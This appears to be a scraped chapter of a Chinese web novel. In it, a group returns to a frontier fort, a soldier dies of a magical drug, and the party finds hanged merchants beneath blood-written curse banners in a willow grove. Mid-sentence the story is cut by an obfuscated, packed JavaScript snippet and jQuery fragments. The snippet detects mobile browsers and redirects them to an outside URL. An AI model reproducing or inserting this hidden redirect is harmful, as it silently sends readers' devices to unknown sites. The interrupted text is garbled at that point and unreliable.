30.野鼠孤城

作品:《西行

    春风吹来的时候,易水北岸的金兵终于是撤了。


    沈仓估摸着时间,把人接了回来,只留小豆饼挨着邹婶儿住。小豆饼是个会审时度势的孩子,没费什么劲就想通了,就是赵元贞走的时候她有点儿紧张。


    “姑姑,你什么时候回来?”她问。


    “等张将军安定了,我就送你回家。”赵元贞搓着她有点儿皴了的小脸儿,往她两颊抹了点油膏。


    马车上,李在宥说指指赵元贞跟魏无功说:“还说我骗小孩儿,这才是大骗子,天天给小朋友画大饼。”


    “瞎说,我从不食言。”赵元贞照例半靠在座位上。


    “她老子们都叫金人捉了,她能回得去?”李在宥相当不信。赵元贞并没有解释,只是望着河对岸出神。


    “小魏,你眼睛好,你看看那是什么?”


    魏无功听了她的话,越过李在宥趴到窗边看,河对岸有一段儿,看起来白白的,像是树上落了雪没化。但是这会儿都天气明明已经转暖,因此看起来格外异常。


    他眯起眼睛:“好像是布条。”


    “等会儿到寨堡了,你们跟沈大哥打个报告过去看一下吧。”赵元贞皱着眉头,感觉有点不安。


    见到沈仓的时候接近黄昏,沈仓正在紧锣密鼓地做安排,忙得脚不点地,都没来得及亲自迎接。朝廷已经下派了即将上任的新任州府,沈仓作为戍边的将领,一方面要在交接期做好各项安防,一方面要协助清点军事设施、仓库、人口等,方便新来的州府接管。


    来接他们的是梁阿兰。阿兰见了赵元贞,招呼都不打,劈头盖脸就是一句:“赤焰军现在很暴躁,元贞姐姐你可小心。”


    “谢谢阿兰妹妹提醒,”赵元贞仍是笑盈盈的:“我这就去见张将军。”想必张定钧在家里等消息,连着两个多月也没有进展,着急上火也是正常的。


    魏无功跟在后面看着她俩“姐姐妹妹”的,有种说不出的刻意,于是小声跟李在宥蛐蛐:“好像关系是有点微妙哈。”


    “主要是吧……”李在宥把手捂着嘴凑他耳边说:“之前跟你说的小梁太后那些个事情,跟云昭阁也多少有点关系,所以……”


    话还没说完被魏无功偏过头去躲了,“这么说话耳朵痒痒”,他伸了个指头掏了掏耳朵:“不是,你们云昭阁怎么什么活儿都接啊,我看这也不算是怪力乱神的范畴了吧。”


    “具体的我不大清楚,这是上一代云昭阁主人的事情了,赵元贞可能还经手了一些,但是那会儿我太小了,没沾边儿。”李在宥说:“估计阿兰姐是计较这个事情,看赵元贞的眼神恨不得把她怎么着似的。”


    “你们云昭阁……”魏无功有点好奇:“是怎么能把手一直伸到别的国家去的?”


    “这说起来可太长了,你想啊,这大千世界这么多人,织成了一张巨大的关系网”李在宥说:“有些看似平平无奇的身份,什么歌女、大夫、开茶馆儿的、挑担子的、说书的、唱大戏的,就是江湖上一个个的点,这人和人认识,就像点和点连成线,不知不觉就一路延伸过去了。没准儿你今天随手打发乞丐一个铜板,里面就有云昭阁的线人呢。”


    “俗世奇人呐,”魏无功若有所思:“那这么多人,你们云昭阁都是上哪儿找的?”


    “啧,别一口一个‘你们云昭阁’,听着别扭。”李在宥笑着说:“没准儿哪天你就被赵元贞骗过来打工了呢,她可能忽悠了。”


    “别!我可不,”魏无功斩钉截铁地说:“我不当和尚,我还要成家呢!”


    “哦?这倒是第一回听说……”李在宥嘴角的弧度仍挂在脸上,眼睛里却没什么笑意:“钱攒够了吗就想着娶媳妇儿?”


    “也……攒了一些。”魏无功摸摸鼻子,有点不好意思。他打小流浪,心里还是希望能有个自己的家的,看着军队里别的人攒老婆钱,他也就跟着攒。他平时没什么花销,吃喝拉撒都在队伍里,加上小时候在道观里摸的宝贝,其实零零散散确实是攒了不少。


    “是么,让我猜猜看,我们大字不识一个的魏都头把小金库藏在哪里了……”李在宥点点下巴,语气听起来仍然轻松:


    “怕不是团风村哪个地窖里吧。”


    “!!?”魏无功一个巨大的震惊:“这你也知道!?”云昭阁怎么回事,不会为了吸纳他,已经开始跟踪了吧!?


    “其实也不难猜,”李在宥哼笑了一声:“你孤身一个人,没有亲眷,蚕姑坨也回不去,最熟悉的地方就是易县了……”


    “这些年攒了些军功,又不起屋田,肯定没地方放……”


    “结合你之前不让我看邹婶儿的窖藏,怕是此地无银三百两,”李在宥低头看了眼自己的脚下的褐土:“以你的性格,十有八九也是放在陶罐子里……”


    “停停停!”魏无功感觉再说下去感觉底裤都要被人看穿了。


    “额日古昆!”他大喊一声,气哼哼跑向寨堡。


    李在宥望着他的背影没说话。


    “哼,娶媳妇儿,”他想着,慢慢跟在后面踱步进去:“明儿就让人把你的陶瓮刨出来,我倒要看看藏了几个子儿……”


    回到寨堡,两个人去给赵元贞当左右护法,护送她去见张定钧。不过,张定钧这会儿不在营帐,而是在地牢。赤焰军失去了回鹘人源源不断提供的光明血,也开始纷纷出现各式各样的症状。


    “拿走……拿走!”一进去就看见张定钧蹲在地上,试图让其中一个人吃点东西,然而那人极不配合。他看起来已经很饥饿了,颧骨高耸,两颊的肉已经凹陷下去,但是对碗里热腾腾的食物似乎并不感兴趣。“吾已餐风饮露……不食人间五谷……”那人口里念念有词,用军医的话说,确实像是丢了三魂七魄,不仅不认识自己是谁,连吃饭喝水这样的事情似乎也忘却了。


    这人似乎是张定钧的旧交,他对这人的疯症格外上心,一门心思都铺在灌汤药上,竟没有注意到赵元贞他们的到来。


    “我如果这时候给你一瓶光明血,你能救活他吗?”赵元贞突然站在他背后问。


    张定钧迅速回过头,眼底闪过一丝强烈的怨愤,说:“人又没死,何来救活?”


    “别装,你现在才心疼他的命,那鬼东西你自己为什么不吃?”魏无功问。


    张定钧没答他的话,只是盯着赵元贞问:“我要的消息呢?”


    赵元贞没什么表情,看着他的眼睛说:“您也知道的,元贞做不得主。”


    “别耍滑头,”张定钧噌地一下站起来:“你究竟有没有把我的话带到?”


    “张将军,没了赤焰军,您就是光杆儿一个,我若是您,说话就客气着点。”李在宥拦在两人中间,双手抱胸看着他:“我家主人问你,这光明血,你是要,还是不要?”


    “……要。”


    张定钧接了李在宥递过去的匣子,掏出来一颗,小心塞进那人嘴里。可是,那人身体似乎太过亏空,吃了蚕姑坨精心烤制的丹药,也只是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162148|195775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逐渐安静了下来,却并没有转好的迹象,对那碗汤药仍是不闻不问。


    张定钧叹了口气,将剩下的丹丸交给下人一颗颗碎了均分下去,自己只是看着匣身出神。那上面画着一只快要结茧的玉蚕,本来是祝福使用者吉祥如意、长寿平安,可在他看来,就像是在嘲笑他作茧自缚一般。


    没到一炷香的功夫,张定钧费力抢救的那人还是死了。血砂从他眼睛、鼻子、耳朵里析出,用密密匝匝的细小晶体封住了他的七窍,多看几眼就要起鸡皮疙瘩。李在宥突然想起阿尔斯兰曾经的话:“光明尊筛选勇士,身体承受不住了,自己就会死掉。”


    “走吧,带您去散散心。”李在宥喊了他和梁阿兰一起去易水对面看看,一方面去求证魏无功说的那片布条是什么东西,也顺便缓和下气氛。


    路上,梁阿兰安慰他说:“沈将军说朝廷的调令就快到了,您没准儿和藩兵一起要被召回京去,那时候见到上面的机会就多了。”


    张定钧点了个头,没有说话。


    骑马一路往北,城寨一片寂静。


    嘚嘚的马蹄声空响着,街道两旁门户洞开,地上散落着洗劫一空的箱笼和匆忙砸毁陶片,无声地诉说着数日前的故事。金人在撤走之前,把易州北方钱粮和人口洗劫一空,只给大宋留下了一座野鼠空城。魏无功情不自禁想起了那些深埋地下的窖藏:不知道屋主人还有没有失而复得的一天……


    逐渐接近金兵当时扎营的地方,绕过寨堡的夯土墙,视野突然开阔,几个人下意识勒住了马。


    河对岸那片繁茂的柳林,被白布缠得雪白一片,无数长条随风飘荡,像引路的魂幡。隐隐约约窥见得里面藏着十几具尸体。一双双脚悬垂在抽芽的嫩柳条之间,随着河风缓缓打转,说不出的邪佞。


    张定钧小声骂了一句契丹脏话,双腿一夹,驱马快步向前,其他人也连忙跟了上去。


    走近了,确认了那些悬挂的尸体,清一色是回鹘商人的。


    人类对同类的死亡本就有不适,越是靠近,那股难以言喻的气息就愈发浓重。更不提那些个绑在枝条上的白色布幔,像一道道符咒一般,带着血写的人名。


    “这是……”魏无功不认识那些鬼画符。


    “咒我死呢。”张定钧说。大部分血书着他的名字,还有少部分是其他赤焰军众的。他骑在马上,并没有流露出喜怒,只是悄悄攥紧了缰绳。赵元贞回来了,心里的大石头不仅没有落地,反而更加沉重地压着胸口,难得喘息。


    女真萨满相信,柳树是连接神灵的植物。他们会将仇人的名字、毛发或衣物碎片绑在特定的柳枝上,由萨满日夜诅咒。当柳枝枯萎时,或许仇人的生命也会随之凋零。


    赤焰军势头正盛的时候,不知道取了多少金兵的性命,这一根根魂幡里的恨意,就是最好的证明。


    一行人缓慢地骑马穿过柳树林,逐个辨认着尸骸。春天悄然来临,离得近了,能看见柳条上冒出了一颗颗嫩绿的新芽,亦能看见风干的尸体脸上凝固的表情。生与死在此处绞缠,风穿过枝丫与躯壳,仿佛亡灵在集体低语。


    全程走下来,发现阿尔斯兰命大,居然不在里面。


    “回吧,”李在宥说:“问候已经收到了。”


    众人点点头,沉默着返程。夕阳沉入地平线,抽走最后的余温,大地被昏暗覆盖。


    “风萧萧易水寒,壮士一去兮不复还。”春天依旧会来,只是今年的易水北岸,不会再有人烟了。